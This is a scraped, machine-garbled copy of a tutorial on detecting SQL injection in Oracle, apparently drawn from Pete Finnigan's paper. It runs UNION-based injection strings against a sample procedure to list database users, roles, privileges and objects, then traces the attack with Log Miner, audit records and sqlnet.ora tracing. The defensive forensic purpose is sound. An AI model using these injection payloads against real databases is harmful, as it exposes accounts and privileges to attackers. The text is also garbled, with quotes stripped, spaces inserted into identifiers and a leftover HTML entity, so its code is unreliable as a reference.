Oracle injection Summary

Source: Internet
Author: User

MATERIALS: http://www.petefinnigan.com/papers/detect. SQL
A = a or 1 = 1
SQL> exec get_cust (x union select username from all_users where x = x );
Debug: select customer_phone from customers where customer_surname = x union
Select username from all_users where x = x
: AURORA $ JIS $ UTILITY $
: AURORA $ ORB $ UNAUTHENTICATED
: CTXSYS
: DBSNMP
: EMIL
: FRED

SQL> select log_mode from v $ database;
SQL> select name, value from v $ parameter
2 where name in (log_archive_start, log_archive_dest );
NAME
----------------------------------------------------------------
VALUE
--------------------------------------------------------------------------------
Log_archive_start
TRUE
Log_archive_dest
/Export/home/u01/app/oracle/admin/emil/archive
SQL> select name, value from v $ parameter
2 where name = transaction_auditing;
NAME
----------------------------------------------------------------
VALUE
--------------------------------------------------------------------------------
Transaction_auditing
TRUE
Now execute the SQL injection attempt and then use Log Miner to see what is recorded. to make the analysis easier for this example, the archive log is saved before and after to ensure only this command is in the log:

SQL> connect sys as sysdba
Enter password:
Connected.
SQL> alter system archive log current;
System altered.
SQL>
SQL> connect dbsnmp/dbsnmp @ emil
Connected.
SQL> set serveroutput on size 100000
SQL> exec get_cust (x union select username from all_users where x = x );
Debug: select customer_phone from customers where customer_surname = x union
Select username from all_users where x = x
: AURORA $ JIS $ UTILITY $
: AURORA $ ORB $ UNAUTHENTICATED
: CTXSYS
: DBSNMP
: EMIL
<Records snipped>
: SYS
: SYSTEM
: WKSYS
: ZULIA
PL/SQL procedure successfully completed.
SQL> connect sys as sysdba
Enter password:
Connected.
SQL> alter system archive log current;
System altered.
SQL>
First create the Log Miner dictionary:

SQL> set serveroutput on size 1000000
SQL> exec dbms_logmnr_d.build (logmnr. dat,/tmp );
LogMnr Dictionary Procedure started
LogMnr Dictionary File Opened
TABLE: OBJ $ recorded in LogMnr Dictionary File
TABLE: TAB $ recorded in LogMnr Dictionary File
TABLE: COL $ recorded in LogMnr Dictionary File
TABLE: TS $ recorded in LogMnr Dictionary File
<Output snipped>
Procedure executed successfully-LogMnr Dictionary Created
PL/SQL procedure successfully completed.
SQL> select name
2 from v $ archived_log
3 where completion_time = (select max (completion_time) from v $ archived_log );
NAME
--------------------------------------------------------------------------------
/Export/home/u01/app/oracle/admin/emil/archive/1_7.dbf
SQL>
Now load the archive log file into Log Miner:

SQL> exec dbms_logmnr.add_logfile (/export/home/u01/app/oracle/admin/emil/archive/1_7.dbf, sys. dbms_logmnr.NEW );
PL/SQL procedure successfully completed.
SQL> exec dbms_logmnr.start_logmnr (dictFileName =>/tmp/logmnr. dat );
PL/SQL procedure successfully completed.
SQL>
Finally, search the results:

SQL> select scn, username, timestamp, SQL _redo
2 from v $ logmnr_contents
SQL>
<Snipped>
Scn username timestamp SQL _REDO
----------------------------------------------------------------
253533 DBSNMP 16-JUN-03 set transaction read write;
253533 DBSNMP 16-JUN-03 update "SYS". "AUD $" set
"ACTION #" = 101,
"RETURNCODE" = 0,
& Quot; LOGOFF $ LREAD & quot; = 228,
"LOGOFF $ PREAD" = 0,
"LOGOFF $ LWRITE" = 10,
"LOGOFF $ DEAD" = 0,
"LOGOFF $ TIME" =
TO_DATE (16-JUN-2003
12:16:12, DD-MON-YYYY
Scn username timestamp SQL _REDO
----------------------------------------------------------------
HH24: MI: SS), "SESSIONCPU" =
5 where "ACTION #" = 100
And "RETURNCODE" = 0 and
"LOGOFF $ LREAD" is null and
"LOGOFF $ PREAD" is null and
"LOGOFF $ LWRITE" is null and
"LOGOFF $ DEAD" is null and
"LOGOFF $ TIME" is null and
"SESSIONCPU" is null and ROWID
= AAAABiAABAAAAEWAAX;

Scn username timestamp SQL _REDO
----------------------------------------------------------------
253534 DBSNMP 16-JUN-03 commit;
<Snipped output>
SQL> select p. spid, s. username
2 from v $ session s, v $ process p
3 where s. paddr = p. addr;
SPID USERNAME
---------------------------------------
<Records snipped>
616 DBSNMP
556. SYSTEM
9 rows selected.
SQL>
To enable trace simply add the following lines to the $ ORACLE_HOME/network/admin/sqlnet. ora file:

TRACE_FILE_SERVER = pf_trace.trc
TRACE_DIRECTORY_SERVER =/tmp
TRACE_LEVEL_SERVER = SUPPORT
SQL> exec get_cust (x union select username from all_users where x = x );
PL/SQL procedure successfully completed.
Exec get_cust2 (x or x = x --);
Exec get_cust (x union select sys. login_user from sys. dual where x = x );
Exec get_cust (x union select to_char (sysdate) from sys. dual @ plsq where x = x );
Exec get_cust (x union select 1, Y from sys. dual where x = x );
Exec get_cust (x union select object_name, object_type, x from user_objects where x = x );
Exec get_cust (x union select granted_role, admin_option, default_role from user_role_privs where x = x );
Exec get_cust (x union select privilege, admin_option, X from user_sys_privs where x = x );
Exec get_cust_bind (Clark );
Exec get_cust_bind (x union select username from all_users where x = x );

Select customer_phone from customers where customer_surname = x select username from all_users where x = x

Select customer_phone from customers where customer_surname = x union select username from all_users where x = x
Select customer_phone from customers where customer_surname = x or exists (select 1 from
Sys. dual) and x = x
Select customer_phone from customers where customer_surname = x or x = x

Select customer_phone from customers where customer_surname = x or x = x -- and
Customer_type = 1
Select customer_phone from customers where customer_surname = x union select sys. login_user from sys. dual where x = x
Select customer_phone from customers where customer_surname = x union select to_char (sysdate) from sys. dual @ plsq where x = x
Select customer_phone, customer_forname, customer_surname from customers where
Customer_surname = x union select 1, Y from sys. dual where x = x

Select customer_phone, customer_forname, customer_surname from customers where customer_surname = x union select object_name, object_type, x from user_objects where x = x
Select customer_phone, customer_forname, customer_surname from customers where
Customer_surname = x union select granted_role, admin_option, default_role from user_role_privs where x = x
Select customer_phone, customer_forname, customer_surname from customers where
Customer_surname = x union select privilege, admin_option, X from user_sys_privs where x = x
Select customer_phone from customers where customer_surname =: surname: 999444888

Select customer_phone from customers where customer_surname =: surname

Exec get_cust (x union select username from all_users where x = x)
Exec dbms_logmnr.add_logfile (/export/home/u01/app/oracle/admin/emil/archive/1_7.dbf, sys. dbms_logmnr.NEW)
Exec dbms_logmnr.start_logmnr (dictFileName =>/tmp/logmnr. dat)
Exec get_cust (x union select username from all_users where x = x)
Exec get_cust (x union select username from all_users where x = x) <

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.